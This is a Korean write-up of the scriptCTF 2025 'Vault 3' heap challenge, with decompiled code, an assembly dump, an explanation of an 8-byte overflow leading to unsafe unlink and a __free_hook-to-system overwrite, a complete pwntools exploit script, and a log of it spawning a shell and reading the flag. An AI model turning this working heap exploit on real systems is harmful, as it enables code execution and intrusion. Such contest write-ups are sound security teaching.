[PWN] scriptCTF 2025 Vault 3 write-up

TL;DR

Tcache 비활성화인 상태에서 fake chunk, unsafe unlink 문제

glibc가 2.30 으로 33버전보다 아래이니 Hook Overwrite로 풀 수 있다.

 

Analysis

int __fastcall main(int argc, const char **argv, const char **envp)
{
  signed int v3; // ebx
  signed int v5; // [rsp+Ch] [rbp-24h] BYREF
  signed int v6; // [rsp+10h] [rbp-20h] BYREF
  signed int v7; // [rsp+14h] [rbp-1Ch] BYREF
  int v8; // [rsp+18h] [rbp-18h] BYREF
  int v9; // [rsp+1Ch] [rbp-14h]

  v9 = 0;
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  printf("puts address is %p\n", &puts);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("Welcome");
        puts("1. Create Vault");
        puts("2. Store stuff in vault");
        puts("3. Free vault");
        puts("4. Exit");
        printf("> ");
        if ( (unsigned int)__isoc99_scanf("%d%*c", &v8) != 1 )
        {
LABEL_3:
          puts("r u trying to pwn me?");
          return 0;
        }
        if ( v8 != 1 )
          break;
        printf("Which vault do you want to create? ");
        if ( v9 > 1 )
        {
          puts("vault limit reached");
          return 0;
        }
        if ( (unsigned int)__isoc99_scanf("%d%*c", &v7) != 1 || (unsigned int)v7 >= 2 )
          goto LABEL_3;
        if ( *((_QWORD *)&vaults + v7) )
        {
          puts("we can only have one of each vault");
          return 0;
        }
        v3 = v7;
        *((_QWORD *)&vaults + v3) = malloc(0x88uLL);
        if ( !*((_QWORD *)&vaults + v7) )
        {
          puts("uh oh");
          exit(1);
        }
        ++v9;
      }
      if ( v8 == 2 )
        break;
      if ( v8 == 3 )
      {
        printf("Which vault do you want to free? ");
        if ( (unsigned int)__isoc99_scanf("%d%*c", &v5) != 1 || (unsigned int)v5 > 1 || !*((_QWORD *)&vaults + v5) )
          goto LABEL_3;
        free(*((void **)&vaults + v5));
      }
      else if ( v8 == 4 )
      {
        puts("Thanks for coming to Connor's Fantastic Vault");
        return 0;
      }
    }
    if ( (unsigned int)__isoc99_scanf("%d%*c", &v6) != 1 || (unsigned int)v6 >= 2 )
      goto LABEL_3;
    if ( !*((_QWORD *)&vaults + v6) )
      break;
    puts(byte_402103);
    printf("What do you want to put in your vault? ");
    read(0, *((void **)&vaults + v6), 0x90uLL);
  }
  puts("please create vault first");
  return 0;
}

--asm--
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     push   rbp
   0x0000000000401197 <+1>:     mov    rbp,rsp
   0x000000000040119a <+4>:     push   rbx
   0x000000000040119b <+5>:     sub    rsp,0x28
   0x000000000040119f <+9>:     mov    DWORD PTR [rbp-0x14],0x0
   0x00000000004011a6 <+16>:    mov    rax,QWORD PTR [rip+0x2ec3]        # 0x404070 <stdin@GLIBC_2.2.5>
   0x00000000004011ad <+23>:    mov    esi,0x0
   0x00000000004011b2 <+28>:    mov    rdi,rax
   0x00000000004011b5 <+31>:    call   0x401040 <setbuf@plt>
   0x00000000004011ba <+36>:    mov    rax,QWORD PTR [rip+0x2e9f]        # 0x404060 <stdout@GLIBC_2.2.5>
   0x00000000004011c1 <+43>:    mov    esi,0x0
   0x00000000004011c6 <+48>:    mov    rdi,rax
   0x00000000004011c9 <+51>:    call   0x401040 <setbuf@plt>
   0x00000000004011ce <+56>:    mov    rax,QWORD PTR [rip+0x2eab]        # 0x404080 <stderr@GLIBC_2.2.5>
   0x00000000004011d5 <+63>:    mov    esi,0x0
   0x00000000004011da <+68>:    mov    rdi,rax
   0x00000000004011dd <+71>:    call   0x401040 <setbuf@plt>
   0x00000000004011e2 <+76>:    mov    rax,QWORD PTR [rip+0x2de7]        # 0x403fd0
   0x00000000004011e9 <+83>:    mov    rsi,rax
   0x00000000004011ec <+86>:    lea    rax,[rip+0xe15]        # 0x402008
   0x00000000004011f3 <+93>:    mov    rdi,rax
   0x00000000004011f6 <+96>:    mov    eax,0x0
   0x00000000004011fb <+101>:   call   0x401050 <printf@plt>
   0x0000000000401200 <+106>:   lea    rax,[rip+0xe15]        # 0x40201c
   0x0000000000401207 <+113>:   mov    rdi,rax
   0x000000000040120a <+116>:   call   0x4010a0 <puts@plt>
   0x000000000040120f <+121>:   lea    rax,[rip+0xe0e]        # 0x402024
   0x0000000000401216 <+128>:   mov    rdi,rax
   0x0000000000401219 <+131>:   call   0x4010a0 <puts@plt>
   0x000000000040121e <+136>:   lea    rax,[rip+0xe0f]        # 0x402034
   0x0000000000401225 <+143>:   mov    rdi,rax
   0x0000000000401228 <+146>:   call   0x4010a0 <puts@plt>
   0x000000000040122d <+151>:   lea    rax,[rip+0xe18]        # 0x40204c
   0x0000000000401234 <+158>:   mov    rdi,rax
   0x0000000000401237 <+161>:   call   0x4010a0 <puts@plt>
   0x000000000040123c <+166>:   lea    rax,[rip+0xe17]        # 0x40205a
   0x0000000000401243 <+173>:   mov    rdi,rax
   0x0000000000401246 <+176>:   call   0x4010a0 <puts@plt>
   0x000000000040124b <+181>:   lea    rax,[rip+0xe10]        # 0x402062
   0x0000000000401252 <+188>:   mov    rdi,rax
   0x0000000000401255 <+191>:   mov    eax,0x0
   0x000000000040125a <+196>:   call   0x401050 <printf@plt>
   0x000000000040125f <+201>:   lea    rax,[rbp-0x18]
   0x0000000000401263 <+205>:   mov    rsi,rax
   0x0000000000401266 <+208>:   lea    rax,[rip+0xdf8]        # 0x402065
   0x000000000040126d <+215>:   mov    rdi,rax
   0x0000000000401270 <+218>:   mov    eax,0x0
   0x0000000000401275 <+223>:   call   0x401080 <__isoc99_scanf@plt>
   0x000000000040127a <+228>:   cmp    eax,0x1
   0x000000000040127d <+231>:   je     0x401293 <main+253>
   0x000000000040127f <+233>:   lea    rax,[rip+0xde5]        # 0x40206b
   0x0000000000401286 <+240>:   mov    rdi,rax
   0x0000000000401289 <+243>:   call   0x4010a0 <puts@plt>
   0x000000000040128e <+248>:   jmp    0x40153c <main+934>
   0x0000000000401293 <+253>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000401296 <+256>:   cmp    eax,0x1
   0x0000000000401299 <+259>:   jne    0x4013a6 <main+528>
   0x000000000040129f <+265>:   lea    rax,[rip+0xde2]        # 0x402088
   0x00000000004012a6 <+272>:   mov    rdi,rax
   0x00000000004012a9 <+275>:   mov    eax,0x0
   0x00000000004012ae <+280>:   call   0x401050 <printf@plt>
   0x00000000004012b3 <+285>:   cmp    DWORD PTR [rbp-0x14],0x1
   0x00000000004012b7 <+289>:   jle    0x4012cd <main+311>
   0x00000000004012b9 <+291>:   lea    rax,[rip+0xdec]        # 0x4020ac
   0x00000000004012c0 <+298>:   mov    rdi,rax
   0x00000000004012c3 <+301>:   call   0x4010a0 <puts@plt>
   0x00000000004012c8 <+306>:   jmp    0x40153c <main+934>
   0x00000000004012cd <+311>:   lea    rax,[rbp-0x1c]
   0x00000000004012d1 <+315>:   mov    rsi,rax
   0x00000000004012d4 <+318>:   lea    rax,[rip+0xd8a]        # 0x402065
   0x00000000004012db <+325>:   mov    rdi,rax
   0x00000000004012de <+328>:   mov    eax,0x0
   0x00000000004012e3 <+333>:   call   0x401080 <__isoc99_scanf@plt>
   0x00000000004012e8 <+338>:   cmp    eax,0x1
   0x00000000004012eb <+341>:   jne    0x4012fc <main+358>
   0x00000000004012ed <+343>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x00000000004012f0 <+346>:   test   eax,eax
   0x00000000004012f2 <+348>:   js     0x4012fc <main+358>
   0x00000000004012f4 <+350>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x00000000004012f7 <+353>:   cmp    eax,0x1
   0x00000000004012fa <+356>:   jle    0x401310 <main+378>
   0x00000000004012fc <+358>:   lea    rax,[rip+0xd68]        # 0x40206b
   0x0000000000401303 <+365>:   mov    rdi,rax
   0x0000000000401306 <+368>:   call   0x4010a0 <puts@plt>
   0x000000000040130b <+373>:   jmp    0x40153c <main+934>
   0x0000000000401310 <+378>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000401313 <+381>:   cdqe
   0x0000000000401315 <+383>:   lea    rdx,[rax*8+0x0]
   0x000000000040131d <+391>:   lea    rax,[rip+0x2d6c]        # 0x404090 <vaults>
   0x0000000000401324 <+398>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x0000000000401328 <+402>:   test   rax,rax
   0x000000000040132b <+405>:   je     0x401341 <main+427>
   0x000000000040132d <+407>:   lea    rax,[rip+0xd8c]        # 0x4020c0
   0x0000000000401334 <+414>:   mov    rdi,rax
   0x0000000000401337 <+417>:   call   0x4010a0 <puts@plt>
   0x000000000040133c <+422>:   jmp    0x40153c <main+934>
   0x0000000000401341 <+427>:   mov    ebx,DWORD PTR [rbp-0x1c]
   0x0000000000401344 <+430>:   mov    edi,0x88
   0x0000000000401349 <+435>:   call   0x401070 <malloc@plt>
   0x000000000040134e <+440>:   mov    rcx,rax
   0x0000000000401351 <+443>:   movsxd rax,ebx
   0x0000000000401354 <+446>:   lea    rdx,[rax*8+0x0]
   0x000000000040135c <+454>:   lea    rax,[rip+0x2d2d]        # 0x404090 <vaults>
   0x0000000000401363 <+461>:   mov    QWORD PTR [rdx+rax*1],rcx
   0x0000000000401367 <+465>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x000000000040136a <+468>:   cdqe
   0x000000000040136c <+470>:   lea    rdx,[rax*8+0x0]
   0x0000000000401374 <+478>:   lea    rax,[rip+0x2d15]        # 0x404090 <vaults>
   0x000000000040137b <+485>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x000000000040137f <+489>:   test   rax,rax
   0x0000000000401382 <+492>:   jne    0x40139d <main+519>
   0x0000000000401384 <+494>:   lea    rax,[rip+0xd58]        # 0x4020e3
   0x000000000040138b <+501>:   mov    rdi,rax
   0x000000000040138e <+504>:   call   0x4010a0 <puts@plt>
   0x0000000000401393 <+509>:   mov    edi,0x1
   0x0000000000401398 <+514>:   call   0x401090 <exit@plt>
   0x000000000040139d <+519>:   add    DWORD PTR [rbp-0x14],0x1
   0x00000000004013a1 <+523>:   jmp    0x401200 <main+106>
   0x00000000004013a6 <+528>:   mov    eax,DWORD PTR [rbp-0x18]
   0x00000000004013a9 <+531>:   cmp    eax,0x2
   0x00000000004013ac <+534>:   jne    0x401478 <main+738>
   0x00000000004013b2 <+540>:   lea    rax,[rbp-0x20]
   0x00000000004013b6 <+544>:   mov    rsi,rax
   0x00000000004013b9 <+547>:   lea    rax,[rip+0xca5]        # 0x402065
   0x00000000004013c0 <+554>:   mov    rdi,rax
   0x00000000004013c3 <+557>:   mov    eax,0x0
   0x00000000004013c8 <+562>:   call   0x401080 <__isoc99_scanf@plt>
   0x00000000004013cd <+567>:   cmp    eax,0x1
   0x00000000004013d0 <+570>:   jne    0x4013e1 <main+587>
   0x00000000004013d2 <+572>:   mov    eax,DWORD PTR [rbp-0x20]
   0x00000000004013d5 <+575>:   test   eax,eax
   0x00000000004013d7 <+577>:   js     0x4013e1 <main+587>
   0x00000000004013d9 <+579>:   mov    eax,DWORD PTR [rbp-0x20]
   0x00000000004013dc <+582>:   cmp    eax,0x1
   0x00000000004013df <+585>:   jle    0x4013f5 <main+607>
   0x00000000004013e1 <+587>:   lea    rax,[rip+0xc83]        # 0x40206b
   0x00000000004013e8 <+594>:   mov    rdi,rax
   0x00000000004013eb <+597>:   call   0x4010a0 <puts@plt>
   0x00000000004013f0 <+602>:   jmp    0x40153c <main+934>
   0x00000000004013f5 <+607>:   mov    eax,DWORD PTR [rbp-0x20]
   0x00000000004013f8 <+610>:   cdqe
   0x00000000004013fa <+612>:   lea    rdx,[rax*8+0x0]
   0x0000000000401402 <+620>:   lea    rax,[rip+0x2c87]        # 0x404090 <vaults>
   0x0000000000401409 <+627>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x000000000040140d <+631>:   test   rax,rax
   0x0000000000401410 <+634>:   jne    0x401426 <main+656>
   0x0000000000401412 <+636>:   lea    rax,[rip+0xcd0]        # 0x4020e9
   0x0000000000401419 <+643>:   mov    rdi,rax
   0x000000000040141c <+646>:   call   0x4010a0 <puts@plt>
   0x0000000000401421 <+651>:   jmp    0x40153c <main+934>
   0x0000000000401426 <+656>:   lea    rax,[rip+0xcd6]        # 0x402103
   0x000000000040142d <+663>:   mov    rdi,rax
   0x0000000000401430 <+666>:   call   0x4010a0 <puts@plt>
   0x0000000000401435 <+671>:   lea    rax,[rip+0xccc]        # 0x402108
   0x000000000040143c <+678>:   mov    rdi,rax
   0x000000000040143f <+681>:   mov    eax,0x0
   0x0000000000401444 <+686>:   call   0x401050 <printf@plt>
   0x0000000000401449 <+691>:   mov    eax,DWORD PTR [rbp-0x20]
   0x000000000040144c <+694>:   cdqe
   0x000000000040144e <+696>:   lea    rdx,[rax*8+0x0]
   0x0000000000401456 <+704>:   lea    rax,[rip+0x2c33]        # 0x404090 <vaults>
   0x000000000040145d <+711>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x0000000000401461 <+715>:   mov    edx,0x90
   0x0000000000401466 <+720>:   mov    rsi,rax
   0x0000000000401469 <+723>:   mov    edi,0x0
   0x000000000040146e <+728>:   call   0x401060 <read@plt>
   0x0000000000401473 <+733>:   jmp    0x401200 <main+106>
   0x0000000000401478 <+738>:   mov    eax,DWORD PTR [rbp-0x18]
   0x000000000040147b <+741>:   cmp    eax,0x3
   0x000000000040147e <+744>:   jne    0x40151a <main+900>
   0x0000000000401484 <+750>:   lea    rax,[rip+0xca5]        # 0x402130
   0x000000000040148b <+757>:   mov    rdi,rax
   0x000000000040148e <+760>:   mov    eax,0x0
   0x0000000000401493 <+765>:   call   0x401050 <printf@plt>
   0x0000000000401498 <+770>:   lea    rax,[rbp-0x24]
   0x000000000040149c <+774>:   mov    rsi,rax
   0x000000000040149f <+777>:   lea    rax,[rip+0xbbf]        # 0x402065
   0x00000000004014a6 <+784>:   mov    rdi,rax
   0x00000000004014a9 <+787>:   mov    eax,0x0
   0x00000000004014ae <+792>:   call   0x401080 <__isoc99_scanf@plt>
   0x00000000004014b3 <+797>:   cmp    eax,0x1
   0x00000000004014b6 <+800>:   jne    0x4014e4 <main+846>
   0x00000000004014b8 <+802>:   mov    eax,DWORD PTR [rbp-0x24]
   0x00000000004014bb <+805>:   test   eax,eax
   0x00000000004014bd <+807>:   js     0x4014e4 <main+846>
   0x00000000004014bf <+809>:   mov    eax,DWORD PTR [rbp-0x24]
   0x00000000004014c2 <+812>:   cmp    eax,0x1
   0x00000000004014c5 <+815>:   jg     0x4014e4 <main+846>
   0x00000000004014c7 <+817>:   mov    eax,DWORD PTR [rbp-0x24]
   0x00000000004014ca <+820>:   cdqe
   0x00000000004014cc <+822>:   lea    rdx,[rax*8+0x0]
   0x00000000004014d4 <+830>:   lea    rax,[rip+0x2bb5]        # 0x404090 <vaults>
   0x00000000004014db <+837>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x00000000004014df <+841>:   test   rax,rax
   0x00000000004014e2 <+844>:   jne    0x4014f5 <main+863>
   0x00000000004014e4 <+846>:   lea    rax,[rip+0xb80]        # 0x40206b
   0x00000000004014eb <+853>:   mov    rdi,rax
   0x00000000004014ee <+856>:   call   0x4010a0 <puts@plt>
   0x00000000004014f3 <+861>:   jmp    0x40153c <main+934>
   0x00000000004014f5 <+863>:   mov    eax,DWORD PTR [rbp-0x24]
   0x00000000004014f8 <+866>:   cdqe
   0x00000000004014fa <+868>:   lea    rdx,[rax*8+0x0]
   0x0000000000401502 <+876>:   lea    rax,[rip+0x2b87]        # 0x404090 <vaults>
   0x0000000000401509 <+883>:   mov    rax,QWORD PTR [rdx+rax*1]
   0x000000000040150d <+887>:   mov    rdi,rax
   0x0000000000401510 <+890>:   call   0x401030 <free@plt>
   0x0000000000401515 <+895>:   jmp    0x401200 <main+106>
   0x000000000040151a <+900>:   mov    eax,DWORD PTR [rbp-0x18]
   0x000000000040151d <+903>:   cmp    eax,0x4
   0x0000000000401520 <+906>:   jne    0x401200 <main+106>
   0x0000000000401526 <+912>:   lea    rax,[rip+0xc2b]        # 0x402158
   0x000000000040152d <+919>:   mov    rdi,rax
   0x0000000000401530 <+922>:   call   0x4010a0 <puts@plt>
   0x0000000000401535 <+927>:   mov    eax,0x0
   0x000000000040153a <+932>:   jmp    0x401541 <main+939>
   0x000000000040153c <+934>:   mov    eax,0x0
   0x0000000000401541 <+939>:   mov    rbx,QWORD PTR [rbp-0x8]
   0x0000000000401545 <+943>:   leave
   0x0000000000401546 <+944>:   ret
End of assembler dump.

 

전반적으로 보면 create는 malloc(0x88)로 동일 크기 청크를 2개까지 할당하고 vaults(0x404090)의 전역 포인터 배열로 저장한다.

store는 read(0, vaults[i], 0x90)으로 0x8 만큼 오버플로우가 발생된다. 그러면 다음 청크 헤더의 prev_size, size를 덮어쓸 수 있다.

 

free(1)시, prev_inuse=0에 의해 backward consolidation으로 unsafe unlink 트리거를 하기 위한 전략을 짜야겠다.

__free_hook을 system올 덮고 vaults[1]="/bin/sh" 세팅 후 free(1) -> sytstem("bin/sh")

 

libc leak

0x4011e2: mov rax, [rip+0x2de7]   ; rax = &puts@GOT
0x4011ec: lea rax, [rip+0xe15]    ; rdi = "puts address is %p\n"
0x4011f6: mov eax, 0
0x4011fb: call 0x401050 <printf@plt>

 

printf("puts adddress is %p\n", &puts)로 puts의 실제 주소를 즉시 획득한다.

즉, libc_base = leak - libc.symbol['puts']

 

8bytes vulnerable write

; create: malloc(0x88)
0x401344: mov edi, 0x88
0x401349: call 0x401070 <malloc@plt>

; store: read(0, vaults[i], 0x90)
0x40144e: ... vaults[i] → rsi
0x401461: mov edx, 0x90         ; nbytes = 0x90
0x40146e: call 0x401060 <read@plt>

 

사용자 버퍼로 0x88을 할당하는데 0x90까지 쓰기가 가능하다. 즉, 0x8 바이트 prev_size, size를 덮을 수 있다.

 

unlink 트리거(backward consolidation)

; free(vaults[1])
0x401510: call 0x401030 <free@plt>

앞 청크에 fake fd/bk 심고, 뒤 청크 헤더의 prev_inuse 비트를 0으로 조작하면 free(뒤청크) 시 glibc가 이전 청크를 free로 간주하고 unlink(P)를 수행한다. 그 결과 vaults 전역 변수에 임의 쓰기가 가능하다.

 

vaults (.bss)

0x40131d/0x401356/...: lea rax, [rip+0x2d6c] ; 0x404090 <vaults>

fd = &vaults - 0x18, bk = &vaults - 0x10 으로 맞추면, FD->bk == P, BK->fd == P 검사를 만족시키면서, 결과로 &vaults에 쓰기가 발생한다.

 

Hook

vaults[0] = __free_hook
vaults[1] = "/bin/sh"
*__free_hook = system

__free_hook->system: free("/bin/sh")

 

다음과 같이 0x8 OF + backward consolidation(unsafe unlink)로 전역 포인터 테이블을 임의 쓰기한다.

 

Exploitation

from pwn import *

context.log_level = 'debug'

e = ELF('./vault')
libc = ELF('./libc.so.6')

def run():
    p = remote('주소블라인드', 포트블라인드)

    def mk(i):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'create? ', str(i).encode())

    def st(i, d):
        p.sendlineafter(b'> ', b'2')
        p.sendline(str(i).encode())
        p.sendlineafter(b'vault? ', d)

    def rm(i):
        p.sendlineafter(b'> ', b'3')
        p.sendlineafter(b'free? ', str(i).encode())

    def leak():
        p.recvuntil(b'is ')
        libc.address = int(p.recvline(), 16) - libc.symbols['puts']
        log.success(f'base: {hex(libc.address)}')

    # leak libc base
    leak()
    mk(0)
    mk(1)

    # fake chunk payload
    pld = p64(0) 
    pld += p64(0x80) 
    pld += p64(e.symbols['vaults'] - 0x18) 
    pld += p64(e.symbols['vaults'] - 0x10)
    
    pld = pld.ljust(0x80, b'\x00') 
    pld += p64(0x80) 
    pld += p64(0x90)
    st(0, pld)
    rm(1)

    # overwrite __free_hook -> system
    pld = p64(0)*3 + p64(libc.symbols['__free_hook']) + p64(next(libc.search(b'/bin/sh')))
    st(0, pld)
    st(0, p64(libc.symbols['system']))
    rm(1)

    p.interactive()

if __name__ == '__main__':
    run()

 

 

pwn@meow:~/ctftemp/vault_3$ python3 -u "/home/pwn/ctftemp/vault_3/ex.py"
[*] '/home/pwn/ctftemp/vault_3/vault'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[*] '/home/pwn/ctftemp/vault_3/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Opening connection to 주소블라인드 on port 포트블라인드: Done
[DEBUG] Received 0x67 bytes:
    b'puts address is 0x7f85b66b5af0\n'
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[+] base: 0x7f85b6646000
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x23 bytes:
    b'Which vault do you want to create? '
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x23 bytes:
    b'Which vault do you want to create? '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x28 bytes:
    b'\n'
    b'What do you want to put in your vault? '
[DEBUG] Sent 0x91 bytes:
    00000000  00 00 00 00  00 00 00 00  80 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  78 40 40 00  00 00 00 00  80 40 40 00  00 00 00 00  │x@@·│····│·@@·│····│
    00000020  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000080  80 00 00 00  00 00 00 00  90 00 00 00  00 00 00 00  │····│····│····│····│
    00000090  0a                                                  │·│
    00000091
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x21 bytes:
    b'Which vault do you want to free? '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x28 bytes:
    b'\n'
    b'What do you want to put in your vault? '
[DEBUG] Sent 0x29 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  20 ce 9f b6  85 7f 00 00  │····│····│ ···│····│
    00000020  b7 26 7c b6  85 7f 00 00  0a                        │·&|·│····│·│
    00000029
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x28 bytes:
    b'\n'
    b'What do you want to put in your vault? '
[DEBUG] Sent 0x9 bytes:
    00000000  00 92 68 b6  85 7f 00 00  0a                        │··h·│····│·│
    00000009
[DEBUG] Received 0x48 bytes:
    b'Welcome\n'
    b'1. Create Vault\n'
    b'2. Store stuff in vault\n'
    b'3. Free vault\n'
    b'4. Exit\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x21 bytes:
    b'Which vault do you want to free? '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x55 bytes:
    b'bin\n'
    b'boot\n'
    b'dev\n'
    b'etc\n'
    b'home\n'
    b'lib\n'
    b'lib64\n'
    b'media\n'
    b'mnt\n'
    b'opt\n'
    b'proc\n'
    b'root\n'
    b'run\n'
    b'sbin\n'
    b'srv\n'
    b'sys\n'
    b'tmp\n'
    b'usr\n'
    b'var\n'
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd srv
[DEBUG] Sent 0x7 bytes:
    b'cd srv\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x21 bytes:
    b'flag.txt\n'
    b'ld.so.2\n'
    b'libc.so.6\n'
    b'vault\n'
flag.txt
ld.so.2
libc.so.6
vault
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x37 bytes:
    b'scriptCTF{y_d0_u_k33p_h4ck1n6_my_v4ul7:c_ac8c833ac68d}\n'
scriptCTF{y_d0_u_k33p_h4ck1n6_my_v4ul7:c_ac8c833ac68d}